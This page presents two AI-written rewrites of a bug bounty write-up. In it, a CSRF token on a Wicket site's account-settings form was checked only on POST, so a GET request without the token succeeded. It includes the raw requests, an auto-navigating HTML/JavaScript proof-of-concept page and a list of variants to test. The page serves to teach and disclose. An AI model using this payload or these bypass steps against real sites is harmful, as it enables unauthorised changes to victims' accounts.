Skip to content
CSRF Write-up Beginner

A very useful technique to bypass the CSRF protection

The site's CSRF protection only validated the token on POST requests, so changing the request method to GET and removing the token bypassed it. An attacker could then change a victim's account information by tricking them into visiting a malicious page.

Yeasir Arafat Follow

Published on medium.com

Hi folks, It’s always a pleasure to share some good stuff with you guys. The heading of the story may give you an idea that today I’m going to share something about CSRF protection bypass.

Yeasir Arafat, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target was a private bug bounty program, so the site is referred to here as vulnhost.com (the requests use the host en.vulnhost.com). The affected feature is the account settings page, /mycenter/settings/account.html, and specifically the contact-saving action behind the formContact-saveContact behaviour. Saving the contact form changes account data such as gender, first name and last name, so it is a state-changing request that the application protects with an anti-CSRF token.

The application is built on Apache Wicket: the request carries Wicket-Ajax, Migration-Wicket, Wicket-Ajax-BaseURL and Wicket-FocusedElementId headers, and the URL contains a Wicket behaviour listener segment (2-1.IBehaviorListener.0-formContact-saveContact). The save is submitted as an AJAX POST with Content-Type: application/x-www-form-urlencoded; charset=UTF-8.

Setup

No accounts, roles, tools or versions beyond the request headers are described. The testing was done against the private program's site, and the researcher notes that the program name cannot be disclosed for privacy reasons. The only precondition visible in the write-up is that the tester was working with an authenticated session, since the request carries a session Cookie.

Finding it

The site validated its state-changing requests as a POST with a _csrf token that the server checked. The save request looked like this:

HTTP
POST /mycenter/settings/account.html?2-1.IBehaviorListener.0-formContact-saveContact HTTP/1.1
Host: en.vulnhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://en.vulnhost.com/mycenter/settings/account.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Wicket-Ajax: true
Migration-Wicket: 6
Wicket-Ajax-BaseURL: mycenter/settings/account.html
Wicket-FocusedElementId: id49
X-Requested-With: XMLHttpRequest
Content-Length: 246
Cookie: .......
Connection: close
Text
_csrf=725a7f90-192f-4b94-8fc9-6320ace14fef&id48_hf_0=&gender=radio8&firstName=xx&lastName=YY&saveContact=1

The _csrf parameter carries a random token that the server uses to verify the request. The observation that opened the bypass was that the server did not validate the token when the same action was reached with a GET request: changing or removing the _csrf token on a GET was not checked server side.

Exploitation

Step 1: switch the method and drop the token

The researcher changed the request method from POST to GET and removed the _csrf parameter, moving the form fields into the query string:

HTTP
GET /mycenter/settings/account.html?2-1.IBehaviorListener.0-formContact-saveContact=&id48_hf_0=&gender=radio8&firstName=XX&lastName=YY&saveContact=1 HTTP/1.1
Host: en.vulnhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://en.vulnhost.com/mycenter/settings/account.html
Wicket-Ajax: true
Migration-Wicket: 6
Wicket-Ajax-BaseURL: mycenter/settings/account.html
Wicket-FocusedElementId: id49
X-Requested-With: XMLHttpRequest
Cookie: ...
Connection: close

The behaviour listener segment now ends with = and the form fields (id48_hf_0, gender, firstName, lastName, saveContact) are passed as query parameters. The response was 200 OK.

Step 2: work around the browser

A typical HTML CSRF proof of concept did not work directly. In the researcher's case the browser required a page refresh to change the content of the requested page, and the suspicion was that the GET request's set of HTTP headers interfered with changing the request. The workaround was a small piece of JavaScript that navigates the victim's browser to the crafted URL, with the final HTML looking like this:

HTML
<html><head><script type="text/javascript">	var timer = null;function auto_reload(){	window.location = 'https://en.vulnhost.com/mycenter/settings/account.html?4-2.IBehaviorListener.0-formContact-saveContact=&id48_hf_0=&gender=radio8&firstName=Account&lastName=Takeover&saveContact=1';}</script><body><!-- Reload page every 5 seconds. -->	 <body onload="timer = setTimeout('auto_reload()',5000);"></body></html>

The page sets a timer on load and, after five seconds, assigns the crafted URL to window.location, which performs the navigation that carries the state-changing GET. The victim does not need to click a submit button as in a typical CSRF attack: simply visiting the page changes the content of the victim's browser, and the timer can be used to control when the page loads and the account information is changed automatically. Note that the listener segment in this payload is 4-2.IBehaviorListener.0-formContact-saveContact, and the values written are firstName=Account and lastName=Takeover.

Root cause

The anti-CSRF token was enforced only on the POST path. The same Wicket behaviour listener could be invoked with a GET, and on that path the server did not validate _csrf at all, so the token check was effectively optional depending on the HTTP method used. Because the state-changing action was reachable through a GET whose parameters sit in the URL, a cross-site navigation was enough to trigger it, and the token defence never came into play.

Impact

An attacker who gets a logged-in victim to visit a crafted page can change that victim's account contact information (gender, first name, last name) without any interaction beyond loading the page. The researcher demonstrates this by setting the first name to Account and the last name to Takeover. The write-up does not describe any further consequence of the changed profile data, so the practical follow-on impact beyond the modification itself is not established here.

Fix

The report does not say what was changed. The design fix implied by the finding is to enforce the _csrf validation on every method that can reach the state-changing listener, and to reject state-changing actions submitted as GET.

Variants to test

  1. Method switching on token-protected endpoints: replay a state-changing POST as a GET with the body fields moved into the query string and the token removed. A positive result is a 200 response and the change taking effect.
  2. Token removal versus token replacement: try omitting _csrf entirely and also sending an empty or arbitrary value. A positive result is the server accepting the request in either case.
  3. Framework listener paths: on Wicket-style applications, target the IBehaviorListener URL segment directly with a different method. A positive result is the listener executing without the token check.
  4. Header-dependent behaviour: replay the request with and without the AJAX headers (Wicket-Ajax, X-Requested-With) to see whether validation depends on them. A positive result is the action succeeding with a plain cross-site navigation that carries none of those headers.
  5. Delivery without user interaction: build a page that navigates the victim automatically, as in the payload above, and confirm the change happens on load. A positive result is the profile changing with no click from the victim.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher was testing a website as part of a private bug bounty program. A bug bounty program is an arrangement where a company invites independent researchers to look for security problems in its systems and report them, often for a reward. Because the program was private, the researcher could not name the company, so throughout the write-up the site is called vulnhost.com, and the requests use the host en.vulnhost.com.

The feature involved is the account settings page, at the path /mycenter/settings/account.html. On that page there is a contact form, and saving it changes account details such as gender, first name and last name. Saving the form is therefore a state-changing request: it alters data stored on the server rather than just reading it. Websites normally protect state-changing requests with an anti-CSRF token, and this one did too, but only when the request arrived one way. By sending the same action a different way, the researcher could skip the token check entirely and change a logged-in victim's account details just by getting them to open a page.

This article walks through the whole thing from the beginning, assuming you can use a browser and a computer and nothing more.

The background concepts

What a request is

When you use a website, your browser is constantly sending messages to a server and receiving answers. Each message your browser sends is a request, and each answer is a response. A request has a method, which is a word saying what kind of action you want. The two you will meet here are GET, which asks the server to give you something (loading a page is a GET), and POST, which sends data to the server so it can do something with it (submitting a form is usually a POST).

A request also carries headers, which are extra labelled lines of information such as which browser you use, and a body, which is the data itself when there is any.

What a cookie is

When you log in to a site, the server needs a way to recognise you on your next request, because the web does not remember anything between requests by itself. It does this by giving your browser a small piece of data called a cookie, which your browser then sends back with every request to that site. The cookie acts like a wristband at an event: you show it once at the door, and after that staff recognise you without asking for your ID again. In the requests below, the Cookie: header is that wristband, and it is what makes the request belong to a logged-in user.

What an anti-CSRF token is

CSRF stands for Cross-Site Request Forgery. The idea is that an attacker's page can make your browser send a request to another site where you are logged in, and because your browser automatically attaches your cookie, the other site thinks the request came from you. A classic example is a page that quietly submits a form to your bank while you have the bank open in another tab.

To stop this, developers add a secret value to each state-changing form, called an anti-CSRF token. The server generates a random token, puts it in the page, and checks on the next request that the token came back. An attacker's page cannot know the token, so it cannot forge a valid request. In this application the token is a parameter named _csrf, and it holds a random value.

What an API and an AJAX request are

An API is a way for software to talk to a server without loading a whole new page: you send a request to a specific address and get data back. AJAX is the browser technique for doing exactly that from inside a page, so the page can update itself without a full reload. The requests here are AJAX requests, which is why they carry headers such as X-Requested-With: XMLHttpRequest (a marker saying the request came from JavaScript) and Wicket-Ajax: true.

What Apache Wicket is

Apache Wicket is a framework, a toolkit developers use to build web applications. It leaves fingerprints in requests. The URL contains a segment like 2-1.IBehaviorListener.0-formContact-saveContact, which is Wicket's way of naming the piece of code that should handle the request, here the behaviour listener for saving the contact form. The headers Wicket-Ajax, Migration-Wicket, Wicket-Ajax-BaseURL and Wicket-FocusedElementId are also Wicket's. You do not need to understand Wicket deeply; it is enough to know that the URL itself names the action to run.

Finding it

The site checked its state-changing requests when they arrived as a POST with a _csrf token, and the server verified that token. The save request looked like this:

HTTP
POST /mycenter/settings/account.html?2-1.IBehaviorListener.0-formContact-saveContact HTTP/1.1
Host: en.vulnhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://en.vulnhost.com/mycenter/settings/account.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Wicket-Ajax: true
Migration-Wicket: 6
Wicket-Ajax-BaseURL: mycenter/settings/account.html
Wicket-FocusedElementId: id49
X-Requested-With: XMLHttpRequest
Content-Length: 246
Cookie: .......
Connection: close

Line by line:

  • POST /mycenter/settings/account.html?2-1.IBehaviorListener.0-formContact-saveContact HTTP/1.1 says this is a POST to the account settings page, and the part after the ? tells Wicket which action to run: the contact-save behaviour.
  • Host: en.vulnhost.com names the server being talked to.
  • User-Agent says which browser made the request.
  • Accept and Accept-Language say what kinds of response the browser will accept and in which language.
  • Accept-Encoding: gzip, deflate says the browser can handle compressed responses.
  • Referer says which page the request came from, here the account settings page itself.
  • Content-Type: application/x-www-form-urlencoded; charset=UTF-8 says the body is form data encoded in the standard way, with fields joined by &.
  • Wicket-Ajax: true, Migration-Wicket: 6, Wicket-Ajax-BaseURL and Wicket-FocusedElementId are Wicket's own bookkeeping headers.
  • X-Requested-With: XMLHttpRequest marks the request as coming from JavaScript rather than a normal page load.
  • Content-Length: 246 says how long the body is.
  • Cookie: ....... is the session cookie that identifies the logged-in user. The value is left out here.
  • Connection: close asks the server to close the connection after answering.

The body of that request was:

Text
_csrf=725a7f90-192f-4b94-8fc9-6320ace14fef&id48_hf_0=&gender=radio8&firstName=xx&lastName=YY&saveContact=1

This is the form data, written as pairs joined by &. _csrf holds the random token the server checks. id48_hf_0 is a Wicket field and is empty here. gender=radio8 is the selected gender option. firstName=xx and lastName=YY are placeholder names. saveContact=1 is the flag that tells the server to save.

The key observation was this: the server did not check the token when the same action was reached with a GET request. Changing or removing _csrf on a GET was not validated on the server side at all. In other words, the lock was on the front door only, and the same room could be entered through a side door that had no lock.

Exploitation

Step 1: switch the method and drop the token

The researcher changed the request method from POST to GET and removed the _csrf parameter, moving the form fields into the query string, the part of the URL after the ?:

HTTP
GET /mycenter/settings/account.html?2-1.IBehaviorListener.0-formContact-saveContact=&id48_hf_0=&gender=radio8&firstName=XX&lastName=YY&saveContact=1 HTTP/1.1
Host: en.vulnhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://en.vulnhost.com/mycenter/settings/account.html
Wicket-Ajax: true
Migration-Wicket: 6
Wicket-Ajax-BaseURL: mycenter/settings/account.html
Wicket-FocusedElementId: id49
X-Requested-With: XMLHttpRequest
Cookie: ...
Connection: close

Line by line:

  • The first line now starts with GET, so the browser is asking for a page rather than submitting data. The action name still appears in the URL, and it now ends with = because the value that used to follow it has moved into the query string.
  • The rest of the URL after the ? carries the form fields: id48_hf_0, gender, firstName, lastName and saveContact. There is no _csrf anywhere.
  • The headers are the same as before, including the Wicket headers and the AJAX marker, and the Cookie still identifies the logged-in user.

The response was 200 OK, the standard code for a successful request. This is the heart of the bug: the token check was tied to the method, not to the action.

Step 2: work around the browser

A typical HTML CSRF proof of concept did not work directly. A proof of concept is a small demonstration that shows a bug is real. In the researcher's case the browser required a page refresh to change the content of the requested page, and the suspicion was that the GET request's set of HTTP headers interfered with changing the request.

The workaround was a small piece of JavaScript that navigates the victim's browser to the crafted URL. The final HTML looked like this:

HTML
<html><head><script type="text/javascript">	var timer = null;function auto_reload(){	window.location = 'https://en.vulnhost.com/mycenter/settings/account.html?4-2.IBehaviorListener.0-formContact-saveContact=&id48_hf_0=&gender=radio8&firstName=Account&lastName=Takeover&saveContact=1';}</script><body><!-- Reload page every 5 seconds. -->	 <body onload="timer = setTimeout('auto_reload()',5000);"></body></html>

Line by line:

  • <html><head><script type="text/javascript"> opens the page and starts a block of JavaScript, the language browsers run inside pages.
  • var timer = null; creates a variable called timer and gives it no value yet. It is a placeholder for the timer that will be set later.
  • function auto_reload(){ begins a function, a named block of code that can be run later.
  • window.location = 'https://en.vulnhost.com/mycenter/settings/account.html?4-2.IBehaviorListener.0-formContact-saveContact=&id48_hf_0=&gender=radio8&firstName=Account&lastName=Takeover&saveContact=1'; is the important line. window.location is the address the browser is currently showing, and assigning a new address to it makes the browser navigate there. The address is the crafted GET request, with the action name and the form fields in the query string, and with the names set to Account and Takeover to make the change obvious.
  • }</script> closes the function and the script block.
  • <body><!-- Reload page every 5 seconds. --> opens the visible part of the page and leaves a comment explaining the intent.
  • <body onload="timer = setTimeout('auto_reload()',5000);"> is the trigger. onload means "when this page has finished loading". setTimeout runs a piece of code after a delay measured in milliseconds, so 5000 means five seconds. When the page loads, it waits five seconds and then runs auto_reload, which navigates the browser to the crafted URL.
  • </body></html> closes the page.

The victim does not need to click a submit button as in a typical CSRF attack. Simply visiting the page changes the content of the victim's browser, and the timer can be used to control when the page loads and the account information is changed automatically. Note that the listener segment in this payload is 4-2.IBehaviorListener.0-formContact-saveContact, and the values written are firstName=Account and lastName=Takeover.

Why it worked

The anti-CSRF token was enforced only on the POST path. The same Wicket behaviour listener could be invoked with a GET, and on that path the server did not validate _csrf at all, so the token check was effectively optional depending on the HTTP method used. Because the state-changing action was reachable through a GET whose parameters sit in the URL, a cross-site navigation was enough to trigger it, and the token defence never came into play.

What an attacker could do

An attacker who gets a logged-in victim to visit a crafted page can change that victim's account contact information (gender, first name, last name) without any interaction beyond loading the page. The researcher demonstrates this by setting the first name to Account and the last name to Takeover. The write-up does not describe any further consequence of the changed profile data, so the practical follow-on impact beyond the modification itself is not established here.

How to fix it

The report does not say what was changed. The design fix implied by the finding is to enforce the _csrf validation on every method that can reach the state-changing listener, and to reject state-changing actions submitted as GET.

Variants to test

If you are learning to look for this kind of bug, these are the variations worth trying:

  1. Method switching on token-protected endpoints: replay a state-changing POST as a GET with the body fields moved into the query string and the token removed. A positive result is a 200 response and the change taking effect.
  2. Token removal versus token replacement: try omitting _csrf entirely and also sending an empty or arbitrary value. A positive result is the server accepting the request in either case.
  3. Framework listener paths: on Wicket-style applications, target the IBehaviorListener URL segment directly with a different method. A positive result is the listener executing without the token check.
  4. Header-dependent behaviour: replay the request with and without the AJAX headers (Wicket-Ajax, X-Requested-With) to see whether validation depends on them. A positive result is the action succeeding with a plain cross-site navigation that carries none of those headers.
  5. Delivery without user interaction: build a page that navigates the victim automatically, as in the payload above, and confirm the change happens on load. A positive result is the profile changing with no click from the victim.

Glossary

  • AJAX: a browser technique for sending requests from inside a page and updating it without a full reload.
  • Anti-CSRF token: a random secret value placed in a form and checked by the server so that requests forged by another site are rejected.
  • API: a way for software to talk to a server by sending requests to specific addresses and receiving data back.
  • Apache Wicket: a framework for building web applications, which names actions in the URL and adds its own headers to requests.
  • Behaviour listener: Wicket's name for the piece of code that handles a particular action, such as saving a form.
  • Body: the part of a request that carries data, as opposed to the headers.
  • Bug bounty program: an arrangement where a company invites independent researchers to find and report security problems, often for a reward.
  • Cookie: a small piece of data a site stores in your browser and receives back on each request, used to recognise a logged-in user.
  • CSRF (Cross-Site Request Forgery): an attack where another site makes your browser send a request to a site where you are logged in, using your cookie without your intent.
  • Framework: a toolkit of ready-made code that developers build an application on top of.
  • GET: an HTTP method that asks the server to give you something, such as a page.
  • Header: a labelled line of extra information in a request or response, such as the browser type or a cookie.
  • HTTP method: the word at the start of a request saying what kind of action is wanted, such as GET or POST.
  • JavaScript: the programming language browsers run inside web pages.
  • Parameter: a named value sent with a request, either in the body or in the query string.
  • POST: an HTTP method that sends data to the server so it can act on it, such as submitting a form.
  • Proof of concept: a small demonstration that shows a bug is real and can be triggered.
  • Query string: the part of a URL after the ?, carrying named values.
  • Request: a message your browser sends to a server.
  • Response: the server's answer to a request.
  • Session: the period during which a site recognises you as logged in, tracked through a cookie.
  • State-changing request: a request that alters data stored on the server, such as saving a form, rather than only reading it.
  • 200 OK: the standard HTTP response code meaning the request succeeded.
  • window.location: in JavaScript, the address the browser is currently showing; assigning to it makes the browser navigate.

More by Yeasir Arafat

View all

4 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.